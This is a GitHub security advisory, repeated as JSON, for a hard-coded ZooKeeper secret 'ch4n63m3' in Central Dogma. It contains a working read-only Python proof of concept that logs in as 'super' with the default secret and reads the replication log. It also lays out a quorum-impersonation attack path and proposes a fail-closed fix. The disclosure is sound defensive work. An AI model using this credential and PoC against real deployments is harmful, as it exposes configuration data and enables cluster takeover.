GHSA-2J95-GQXF-V3VG
Vulnerability from github – Published: 2026-09-11 20:44 – Updated: 2026-09-11 20:44Vulnerability
ZooKeeperReplicationConfig.secret() silently substitutes the hard-coded constant "ch4n63m3" (leetspeak for "change me") whenever the operator omits replication.secret. The same secret is wired into both the client-facing SASL context and the quorum/learner SASL contexts of the embedded ZooKeeper. The constant is in OSS source on GitHub and is discoverable via code search in seconds.
Three Reinforcing Defects
- OSS-public credential —
DEFAULT_SECRETis inline/centraldogmasource. - Silent fallback —
firstNonNull(convertValue(...), DEFAULT_SECRET)substitutes the default with no log, no warning, no startup banner. The only sanity checkcheckArgument(!secret().isEmpty(), ...)passes because the getter substitutes the literal before the emptiness check runs. - Dual-purpose secret — used for both ZK client-port super auth and inter-peer quorum SASL. A single leaked password authenticates against both surfaces.
Architecture Context (Important)
Central Dogma does NOT connect to an external ZooKeeper ensemble. Each replica embeds a QuorumPeer (EmbeddedZooKeeper extends QuorumPeer) inside its own JVM. The Central Dogma cluster IS the ZK ensemble. So the "ZK network" is the inter-replica network of the Central Dogma cluster itself.
Applicability
replication.method |
ZK Started? | Applicable? |
|---|---|---|
NONE (standalone, dev default) |
No | NOT applicable |
ZOOKEEPER (HA production) |
Yes, embedded on every replica | Fully applicable — canonical production configuration |
Evidence
File: server/src/main/java/com/linecorp/centraldogma/server/ZooKeeperReplicationConfig.java
Branch: main @ commit d64a5151
Line 53 — the constant:
private static final String DEFAULT_SECRET = "ch4n63m3";
Lines 210–215 — the silent fallback:
/**
* Returns the secret string used for authenticating the ZooKeeper peers.
*/
public String secret() {
return firstNonNull(convertValue(secret, "replication.secret"), DEFAULT_SECRET);
}
File: server/src/main/java/com/linecorp/centraldogma/server/internal/replication/ZooKeeperCommandExecutor.java
Lines 586–607 — JAAS wiring (same secret on both surfaces):
final String escapedSecret = jaasValueEscaper.escape(cfg.secret());
ImmutableList.of("Server", EmbeddedZooKeeper.SASL_SERVER_LOGIN_CONTEXT).forEach(name -> {
buf.append(name).append(" {").append(newline);
buf.append(DigestLoginModule.class.getName()).append(" required").append(newline);
buf.append("user_super=\"").append(escapedSecret).append("\";").append(newline);
buf.append("};").append(newline);
});
ImmutableList.of("Client", EmbeddedZooKeeper.SASL_LEARNER_LOGIN_CONTEXT).forEach(name -> {
buf.append(name).append(" {").append(newline);
buf.append(DigestLoginModule.class.getName()).append(" required").append(newline);
buf.append("username=\"super\"").append(newline);
buf.append("password=\"").append(escapedSecret).append("\";").append(newline);
buf.append("};").append(newline);
});
File: server/src/main/java/com/linecorp/centraldogma/server/internal/replication/EmbeddedZooKeeper.java
Line 44 — proves CD embeds the ZK server:
final class EmbeddedZooKeeper extends QuorumPeer {
Lines 213–220 — client port binding (loopback only):
private static ServerCnxnFactory createCnxnFactory(QuorumPeerConfig zkCfg) throws IOException {
final InetSocketAddress bindAddr = zkCfg.getClientPortAddress();
final ServerCnxnFactory cnxnFactory = ServerCnxnFactory.createFactory();
// Listen only on 127.0.0.1 because we do not want to expose ZooKeeper to others.
cnxnFactory.configure(new InetSocketAddress("127.0.0.1", bindAddr != null ? bindAddr.getPort() : 0),
zkCfg.getMaxClientCnxns());
return cnxnFactory;
}
Quorum/election ports are NOT loopback-bound — they bind to
replication.servers[].hostas configured, exposed on the inter-replica network.
PoC
Two attack surfaces, two scenarios. Surface A (client port, same-host) is implemented as a working read-only PoC. Surface B (quorum-port peer impersonation) is documented but intentionally not weaponized.
Surface A — Same-Host Client Port (Loopback) PoC
Python + kazoo + pure-sasl. Authenticates as super over SASL DIGEST-MD5 with the leaked secret and reads the full Central Dogma replication log. Hardcoded to 127.0.0.1, read-only, prints first 5 entries.
#!/usr/bin/env python3
"""
C3 PoC -- ZooKeeper default-secret takeover (read-only, loopback only).
Demonstrates that a Central Dogma instance launched with a
ZooKeeper-replicated configuration but without `replication.secret` set
exposes its embedded ZooKeeper to anyone with local-host access, using
the well-known credential `super / ch4n63m3`.
SAFETY:
* Hardcoded to 127.0.0.1. Refuses any other target.
* Read-only. No writes are issued. No nodes are deleted.
* Limits how much data it prints (first MAX_LOGS entries).
"""
from __future__ import annotations
import sys
from kazoo.client import KazooClient
from kazoo.exceptions import NoNodeError
HOST = "127.0.0.1"
DEFAULT_PORT = 2381
DEFAULT_USER = "super"
DEFAULT_SECRET = "ch4n63m3" # ZooKeeperReplicationConfig.DEFAULT_SECRET
MAX_LOGS = 5
def main() -> int:
port = int(sys.argv[1]) if len(sys.argv) > 1 else DEFAULT_PORT
if HOST != "127.0.0.1":
print("Refusing to run against non-loopback host.", file=sys.stderr)
return 2
zk = KazooClient(
hosts=f"{HOST}:{port}",
sasl_options={
"mechanism": "DIGEST-MD5",
"username": DEFAULT_USER,
"password": DEFAULT_SECRET,
},
read_only=True,
timeout=5.0,
)
try:
zk.start(timeout=5)
except Exception as exc:
print(f"[!] Could not reach {HOST}:{port} -- {exc}", file=sys.stderr)
return 1
try:
try:
log_children = zk.get_children("/dogma/logs")
except NoNodeError:
print("[i] /dogma/logs not present -- is replication actually enabled?")
log_children = []
print(f"[+] Authenticated as '{DEFAULT_USER}' with default secret.")
print(f"[+] /dogma/logs has {len(log_children)} entries.")
for child in sorted(log_children)[:MAX_LOGS]:
path = f"/dogma/logs/{child}"
try:
data, stat = zk.get(path)
except NoNodeError:
continue
preview = data[:120].decode("utf-8", errors="replace") if data else ""
print(f" - {path} ({stat.dataLength} bytes) preview={preview!r}")
try:
block_children = zk.get_children("/dogma/log_blocks")
print(f"[+] /dogma/log_blocks has {len(block_children)} entries.")
except NoNodeError:
pass
print(
f"[!] ZK cluster compromised: read {len(log_children)} log entries "
"with default credentials."
)
return 0
finally:
zk.stop()
zk.close()
if __name__ == "__main__":
raise SystemExit(main())
Dependencies (requirements.txt): kazoo, pure-sasl
Setup: edit dist/src/conf/dogma.json to enable replication WITHOUT setting secret:
{
"replication": {
"method": "ZOOKEEPER",
"serverId": 1,
"servers": {
"1": { "host": "127.0.0.1", "quorumPort": 2382, "electionPort": 2383, "clientPort": 2381 }
}
}
}
Note:
replication.secretis INTENTIONALLY omitted. Launch with./gradlew :dist:startup.
Run:
python3 zk_takeover.py 2381
Expected output (VULNERABLE):
[+] Authenticated as 'super' with default secret.
[+] /dogma/logs has 14 entries.
- /dogma/logs/0000000001 (412 bytes) preview="{"size":..."
- /dogma/logs/0000000002 (508 bytes) preview="{"size":..."
...
[+] /dogma/log_blocks has 14 entries.
[!] ZK cluster compromised: read 14 log entries with default credentials.
After the patch (fail-closed on null/placeholder secret), Central Dogma refuses to start at all with this config.
Surface B — Inter-Replica Quorum-Port Peer Impersonation (Documented, Not Weaponized)
Quorum/election ports bind to the configured replication.servers[].host, NOT to loopback. In typical HA deployments (multi-DC, K8s with NetworkPolicy gaps, shared VPC), these ports are reachable from peer workloads.
Attack path:
- Attacker reaches the quorum port of any Central Dogma replica from a co-located workload (same K8s namespace, same VLAN, etc.).
- Attacker spins up their own Apache ZooKeeper process configured with:
- matching
serverId(or a new one if theQuorumVerifierallows dynamic membership) - JAAS
QuorumLearner/QuorumServerdigest contexts usingsuper / ch4n63m3 quorumServerSaslAuthRequired=true,quorumLearnerSaslAuthRequired=true- Attacker's process joins the quorum as a learner. SASL handshake passes because the secret matches.
- Attacker now receives every replicated
Command, can attempt to win leader election, and once in the cluster can write to/dogma/logs/directly — whichZooKeeperCommandExecutor.replayLogs()will deserialize and execute on every legitimate replica.
Dangerous Commands the attacker can replay across the cluster (from Command.java:46-68):
| Command | Impact |
|---|---|
PURGE_PROJECT |
Permanent deletion |
ROTATE_SESSION_MASTER_KEY / REWRAP_ALL_KEYS |
Pivot encryption-at-rest layer to attacker-controlled keys |
UPDATE_SERVER_STATUS (read-only / maintenance) |
Denial of Service |
CREATE_SESSION with crafted user info |
Session forgery |
This PoC is intentionally NOT shipped as runnable code. It is closer to an attack tool than a verification artifact, and the audit's purpose is to drive the fix, not to provide weaponization. The Surface A PoC plus this documentation are sufficient to motivate remediation.
Impact
Threat Model (Realistic for LINE Corporate Deployment)
- Multi-tenant K8s where Central Dogma StatefulSet shares Pod network with other workloads
- Or shared VPC/VLAN where the inter-replica quorum traffic is reachable from co-tenant hosts
- Or single-tenant cluster where any sidecar/co-located process has loopback access (Surface A)
What an Attacker Gains with the Leaked Secret
-
Read the full replication log.
/dogma/logs+/dogma/log_blockscontain the Zstd-compressedReplicationLogentries — every commit, everyPUSHpayload (with file contents), every credential mutation, every session/master-key management command. IncludesCREATE_SESSION_MASTER_KEY,ROTATE_SESSION_MASTER_KEY,REWRAP_ALL_KEYS. Reading this effectively renders the encryption-at-rest layer moot because the master-key management commands themselves traverse ZK. -
Write to the replication log (Surface B). Forged
LogMeta+log_blocksentries are auto-replayed byZooKeeperCommandExecutor.replayLogs()on every replica. The attacker gains arbitrary Command execution on the entire cluster. -
Join the quorum as a fake peer (Surface B). With the secret, an attacker reachable on the inter-replica network can pose as a legitimate replica, receive all future commits in real time, and potentially win leadership.
Scope is Changed (CVSS) because ZK is a separate security authority from Central Dogma's HTTP API, and the impact propagates to every microservice consuming Central Dogma configuration via watch.
Incident recovery cost: secret rotation alone is insufficient. Every Command that traversed ZK during the compromise window must be audited. If master-key rotation commands were issued, all encryption-at-rest data must be re-encrypted. This is an extremely high-blast-radius failure mode for a single missing config knob.
Historical analogue: this is the same anti-pattern that caused Mirai (2016, IoT default credentials), pre-2018 unauthenticated Hadoop YARN clusters, and the recurring ZK / Elasticsearch / MongoDB internet-exposed-without-auth incidents 2018–2024.
How to Fix
Remove the default constant. Fail closed when replication.secret is missing or matches the legacy placeholder.
// ZooKeeperReplicationConfig.java
// REMOVE: private static final String DEFAULT_SECRET = "ch4n63m3";
@JsonCreator
ZooKeeperReplicationConfig(/* ...unchanged params... */
@JsonProperty("secret") @Nullable String secret,
/* ... */) {
// ...
final String resolved = convertValue(secret, "replication.secret");
checkArgument(resolved != null && !resolved.isEmpty(),
"'replication.secret' must be set (and non-empty) when " +
"ZooKeeper replication is enabled. There is no default; " +
"generate a long random string and configure it on every " +
"replica.");
// Reject the historical placeholder explicitly so existing config files
// copy-pasted from old tutorials fail loudly instead of silently.
checkArgument(!"ch4n63m3".equals(resolved),
"'replication.secret' is set to the legacy placeholder " +
"value. Replace it with a fresh random secret " +
"(`openssl rand -hex 32`).");
// Optional: enforce minimum length (32 chars) and reject obvious placeholders.
checkArgument(resolved.length() >= 32,
"'replication.secret' must be at least 32 characters. " +
"Use `openssl rand -hex 32` to generate one.");
this.secret = resolved;
}
public String secret() {
return secret; // never null at this point
}
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.linecorp.centraldogma:centraldogma-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.84.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-11746"
],
"database_specific": {
"cwe_ids": [
"CWE-798"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-11T20:44:23Z",
"nvd_published_at": "2026-06-22T03:16:42Z",
"severity": "CRITICAL"
},
"details": "## Vulnerability\n\n`ZooKeeperReplicationConfig.secret()` silently substitutes the hard-coded constant `\"ch4n63m3\"` (leetspeak for \"change me\") whenever the operator omits `replication.secret`. The same secret is wired into both the **client-facing SASL context** and the **quorum/learner SASL contexts** of the embedded ZooKeeper. The constant is in OSS source on GitHub and is discoverable via code search in seconds.\n\n### Three Reinforcing Defects\n\n1. **OSS-public credential** \u2014 `DEFAULT_SECRET` is in `line/centraldogma` source.\n2. **Silent fallback** \u2014 `firstNonNull(convertValue(...), DEFAULT_SECRET)` substitutes the default with no log, no warning, no startup banner. The only sanity check `checkArgument(!secret().isEmpty(), ...)` passes because the getter substitutes the literal before the emptiness check runs.\n3. **Dual-purpose secret** \u2014 used for both ZK client-port super auth and inter-peer quorum SASL. A single leaked password authenticates against both surfaces.\n\n### Architecture Context (Important)\n\nCentral Dogma does **NOT** connect to an external ZooKeeper ensemble. Each replica embeds a `QuorumPeer` (`EmbeddedZooKeeper extends QuorumPeer`) inside its own JVM. The Central Dogma cluster **IS** the ZK ensemble. So the \"ZK network\" is the inter-replica network of the Central Dogma cluster itself.\n\n### Applicability\n\n| `replication.method` | ZK Started? | Applicable? |\n|---|---|---|\n| `NONE` (standalone, dev default) | No | **NOT applicable** |\n| `ZOOKEEPER` (HA production) | Yes, embedded on every replica | **Fully applicable** \u2014 canonical production configuration |\n\n---\n\n## Evidence\n\n**File:** `server/src/main/java/com/linecorp/centraldogma/server/ZooKeeperReplicationConfig.java`\n**Branch:** `main` @ commit `d64a5151`\n\n**Line 53** \u2014 the constant:\n\n```java\nprivate static final String DEFAULT_SECRET = \"ch4n63m3\";\n```\n\n**Lines 210\u2013215** \u2014 the silent fallback:\n\n```java\n/**\n * Returns the secret string used for authenticating the ZooKeeper peers.\n */\npublic String secret() {\n return firstNonNull(convertValue(secret, \"replication.secret\"), DEFAULT_SECRET);\n}\n```\n\n---\n\n**File:** `server/src/main/java/com/linecorp/centraldogma/server/internal/replication/ZooKeeperCommandExecutor.java`\n**Lines 586\u2013607** \u2014 JAAS wiring (same secret on both surfaces):\n\n```java\nfinal String escapedSecret = jaasValueEscaper.escape(cfg.secret());\nImmutableList.of(\"Server\", EmbeddedZooKeeper.SASL_SERVER_LOGIN_CONTEXT).forEach(name -\u003e {\n buf.append(name).append(\" {\").append(newline);\n buf.append(DigestLoginModule.class.getName()).append(\" required\").append(newline);\n buf.append(\"user_super=\\\"\").append(escapedSecret).append(\"\\\";\").append(newline);\n buf.append(\"};\").append(newline);\n});\nImmutableList.of(\"Client\", EmbeddedZooKeeper.SASL_LEARNER_LOGIN_CONTEXT).forEach(name -\u003e {\n buf.append(name).append(\" {\").append(newline);\n buf.append(DigestLoginModule.class.getName()).append(\" required\").append(newline);\n buf.append(\"username=\\\"super\\\"\").append(newline);\n buf.append(\"password=\\\"\").append(escapedSecret).append(\"\\\";\").append(newline);\n buf.append(\"};\").append(newline);\n});\n```\n\n---\n\n**File:** `server/src/main/java/com/linecorp/centraldogma/server/internal/replication/EmbeddedZooKeeper.java`\n\n**Line 44** \u2014 proves CD embeds the ZK server:\n\n```java\nfinal class EmbeddedZooKeeper extends QuorumPeer {\n```\n\n**Lines 213\u2013220** \u2014 client port binding (loopback only):\n\n```java\nprivate static ServerCnxnFactory createCnxnFactory(QuorumPeerConfig zkCfg) throws IOException {\n final InetSocketAddress bindAddr = zkCfg.getClientPortAddress();\n final ServerCnxnFactory cnxnFactory = ServerCnxnFactory.createFactory();\n // Listen only on 127.0.0.1 because we do not want to expose ZooKeeper to others.\n cnxnFactory.configure(new InetSocketAddress(\"127.0.0.1\", bindAddr != null ? bindAddr.getPort() : 0),\n zkCfg.getMaxClientCnxns());\n return cnxnFactory;\n}\n```\n\n\u003e Quorum/election ports are **NOT** loopback-bound \u2014 they bind to `replication.servers[].host` as configured, exposed on the inter-replica network.\n\n---\n\n## PoC\n\nTwo attack surfaces, two scenarios. **Surface A** (client port, same-host) is implemented as a working read-only PoC. **Surface B** (quorum-port peer impersonation) is documented but intentionally not weaponized.\n\n### Surface A \u2014 Same-Host Client Port (Loopback) PoC\n\nPython + kazoo + pure-sasl. Authenticates as `super` over SASL DIGEST-MD5 with the leaked secret and reads the full Central Dogma replication log. Hardcoded to `127.0.0.1`, read-only, prints first 5 entries.\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nC3 PoC -- ZooKeeper default-secret takeover (read-only, loopback only).\n\nDemonstrates that a Central Dogma instance launched with a\nZooKeeper-replicated configuration but without `replication.secret` set\nexposes its embedded ZooKeeper to anyone with local-host access, using\nthe well-known credential `super / ch4n63m3`.\n\nSAFETY:\n * Hardcoded to 127.0.0.1. Refuses any other target.\n * Read-only. No writes are issued. No nodes are deleted.\n * Limits how much data it prints (first MAX_LOGS entries).\n\"\"\"\nfrom __future__ import annotations\n\nimport sys\n\nfrom kazoo.client import KazooClient\nfrom kazoo.exceptions import NoNodeError\n\nHOST = \"127.0.0.1\"\nDEFAULT_PORT = 2381\nDEFAULT_USER = \"super\"\nDEFAULT_SECRET = \"ch4n63m3\" # ZooKeeperReplicationConfig.DEFAULT_SECRET\nMAX_LOGS = 5\n\n\ndef main() -\u003e int:\n port = int(sys.argv[1]) if len(sys.argv) \u003e 1 else DEFAULT_PORT\n if HOST != \"127.0.0.1\":\n print(\"Refusing to run against non-loopback host.\", file=sys.stderr)\n return 2\n\n zk = KazooClient(\n hosts=f\"{HOST}:{port}\",\n sasl_options={\n \"mechanism\": \"DIGEST-MD5\",\n \"username\": DEFAULT_USER,\n \"password\": DEFAULT_SECRET,\n },\n read_only=True,\n timeout=5.0,\n )\n try:\n zk.start(timeout=5)\n except Exception as exc:\n print(f\"[!] Could not reach {HOST}:{port} -- {exc}\", file=sys.stderr)\n return 1\n\n try:\n try:\n log_children = zk.get_children(\"/dogma/logs\")\n except NoNodeError:\n print(\"[i] /dogma/logs not present -- is replication actually enabled?\")\n log_children = []\n\n print(f\"[+] Authenticated as \u0027{DEFAULT_USER}\u0027 with default secret.\")\n print(f\"[+] /dogma/logs has {len(log_children)} entries.\")\n for child in sorted(log_children)[:MAX_LOGS]:\n path = f\"/dogma/logs/{child}\"\n try:\n data, stat = zk.get(path)\n except NoNodeError:\n continue\n preview = data[:120].decode(\"utf-8\", errors=\"replace\") if data else \"\"\n print(f\" - {path} ({stat.dataLength} bytes) preview={preview!r}\")\n\n try:\n block_children = zk.get_children(\"/dogma/log_blocks\")\n print(f\"[+] /dogma/log_blocks has {len(block_children)} entries.\")\n except NoNodeError:\n pass\n\n print(\n f\"[!] ZK cluster compromised: read {len(log_children)} log entries \"\n \"with default credentials.\"\n )\n return 0\n finally:\n zk.stop()\n zk.close()\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```\n\n**Dependencies** (`requirements.txt`): `kazoo`, `pure-sasl`\n\n**Setup:** edit `dist/src/conf/dogma.json` to enable replication **WITHOUT** setting secret:\n\n```json\n{\n \"replication\": {\n \"method\": \"ZOOKEEPER\",\n \"serverId\": 1,\n \"servers\": {\n \"1\": { \"host\": \"127.0.0.1\", \"quorumPort\": 2382, \"electionPort\": 2383, \"clientPort\": 2381 }\n }\n }\n}\n```\n\n\u003e **Note:** `replication.secret` is **INTENTIONALLY** omitted. Launch with `./gradlew :dist:startup`.\n\n**Run:**\n\n```bash\npython3 zk_takeover.py 2381\n```\n\n**Expected output (VULNERABLE):**\n\n```\n[+] Authenticated as \u0027super\u0027 with default secret.\n[+] /dogma/logs has 14 entries.\n - /dogma/logs/0000000001 (412 bytes) preview=\"{\"size\":...\"\n - /dogma/logs/0000000002 (508 bytes) preview=\"{\"size\":...\"\n ...\n[+] /dogma/log_blocks has 14 entries.\n[!] ZK cluster compromised: read 14 log entries with default credentials.\n```\n\nAfter the patch (fail-closed on null/placeholder secret), Central Dogma **refuses to start at all** with this config.\n\n### Surface B \u2014 Inter-Replica Quorum-Port Peer Impersonation (Documented, Not Weaponized)\n\nQuorum/election ports bind to the configured `replication.servers[].host`, **NOT** to loopback. In typical HA deployments (multi-DC, K8s with NetworkPolicy gaps, shared VPC), these ports are reachable from peer workloads.\n\n**Attack path:**\n\n1. Attacker reaches the quorum port of any Central Dogma replica from a co-located workload (same K8s namespace, same VLAN, etc.).\n2. Attacker spins up their own Apache ZooKeeper process configured with:\n - matching `serverId` (or a new one if the `QuorumVerifier` allows dynamic membership)\n - JAAS `QuorumLearner` / `QuorumServer` digest contexts using `super / ch4n63m3`\n - `quorumServerSaslAuthRequired=true`, `quorumLearnerSaslAuthRequired=true`\n3. Attacker\u0027s process joins the quorum as a learner. SASL handshake passes because the secret matches.\n4. Attacker now receives every replicated `Command`, can attempt to win leader election, and once in the cluster can write to `/dogma/logs/` directly \u2014 which `ZooKeeperCommandExecutor.replayLogs()` will deserialize and execute on every legitimate replica.\n\n**Dangerous Commands the attacker can replay across the cluster** (from `Command.java:46-68`):\n\n| Command | Impact |\n|---|---|\n| `PURGE_PROJECT` | Permanent deletion |\n| `ROTATE_SESSION_MASTER_KEY` / `REWRAP_ALL_KEYS` | Pivot encryption-at-rest layer to attacker-controlled keys |\n| `UPDATE_SERVER_STATUS` (read-only / maintenance) | Denial of Service |\n| `CREATE_SESSION` with crafted user info | Session forgery |\n\n\u003e This PoC is **intentionally NOT shipped as runnable code**. It is closer to an attack tool than a verification artifact, and the audit\u0027s purpose is to drive the fix, not to provide weaponization. The Surface A PoC plus this documentation are sufficient to motivate remediation.\n\n---\n\n## Impact\n\n### Threat Model (Realistic for LINE Corporate Deployment)\n\n- Multi-tenant K8s where Central Dogma StatefulSet shares Pod network with other workloads\n- Or shared VPC/VLAN where the inter-replica quorum traffic is reachable from co-tenant hosts\n- Or single-tenant cluster where any sidecar/co-located process has loopback access (Surface A)\n\n### What an Attacker Gains with the Leaked Secret\n\n1. **Read the full replication log.** `/dogma/logs` + `/dogma/log_blocks` contain the Zstd-compressed `ReplicationLog` entries \u2014 every commit, every `PUSH` payload (with file contents), every credential mutation, every session/master-key management command. Includes `CREATE_SESSION_MASTER_KEY`, `ROTATE_SESSION_MASTER_KEY`, `REWRAP_ALL_KEYS`. Reading this effectively renders the encryption-at-rest layer moot because the master-key management commands themselves traverse ZK.\n\n2. **Write to the replication log (Surface B).** Forged `LogMeta` + `log_blocks` entries are auto-replayed by `ZooKeeperCommandExecutor.replayLogs()` on every replica. The attacker gains **arbitrary Command execution on the entire cluster**.\n\n3. **Join the quorum as a fake peer (Surface B).** With the secret, an attacker reachable on the inter-replica network can pose as a legitimate replica, receive all future commits in real time, and potentially win leadership.\n\n**Scope is Changed** (CVSS) because ZK is a separate security authority from Central Dogma\u0027s HTTP API, and the impact propagates to every microservice consuming Central Dogma configuration via watch.\n\n**Incident recovery cost:** secret rotation alone is insufficient. Every `Command` that traversed ZK during the compromise window must be audited. If master-key rotation commands were issued, all encryption-at-rest data must be re-encrypted. This is an **extremely high-blast-radius failure mode** for a single missing config knob.\n\n**Historical analogue:** this is the same anti-pattern that caused Mirai (2016, IoT default credentials), pre-2018 unauthenticated Hadoop YARN clusters, and the recurring ZK / Elasticsearch / MongoDB internet-exposed-without-auth incidents 2018\u20132024.\n\n---\n\n## How to Fix\n\n**Remove the default constant. Fail closed when `replication.secret` is missing or matches the legacy placeholder.**\n\n```java\n// ZooKeeperReplicationConfig.java\n// REMOVE: private static final String DEFAULT_SECRET = \"ch4n63m3\";\n\n@JsonCreator\nZooKeeperReplicationConfig(/* ...unchanged params... */\n @JsonProperty(\"secret\") @Nullable String secret,\n /* ... */) {\n // ...\n final String resolved = convertValue(secret, \"replication.secret\");\n checkArgument(resolved != null \u0026\u0026 !resolved.isEmpty(),\n \"\u0027replication.secret\u0027 must be set (and non-empty) when \" +\n \"ZooKeeper replication is enabled. There is no default; \" +\n \"generate a long random string and configure it on every \" +\n \"replica.\");\n // Reject the historical placeholder explicitly so existing config files\n // copy-pasted from old tutorials fail loudly instead of silently.\n checkArgument(!\"ch4n63m3\".equals(resolved),\n \"\u0027replication.secret\u0027 is set to the legacy placeholder \" +\n \"value. Replace it with a fresh random secret \" +\n \"(`openssl rand -hex 32`).\");\n // Optional: enforce minimum length (32 chars) and reject obvious placeholders.\n checkArgument(resolved.length() \u003e= 32,\n \"\u0027replication.secret\u0027 must be at least 32 characters. \" +\n \"Use `openssl rand -hex 32` to generate one.\");\n this.secret = resolved;\n}\n\npublic String secret() {\n return secret; // never null at this point\n}\n```",
"id": "GHSA-2j95-gqxf-v3vg",
"modified": "2026-09-11T20:44:23Z",
"published": "2026-09-11T20:44:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/line/centraldogma/security/advisories/GHSA-2j95-gqxf-v3vg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11746"
},
{
"type": "PACKAGE",
"url": "https://github.com/line/centraldogma"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Central Dogma: Hard-coded ZooKeeper replication secret \u0027ch4n63m3\u0027 with silent fallback enables cluster takeover"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.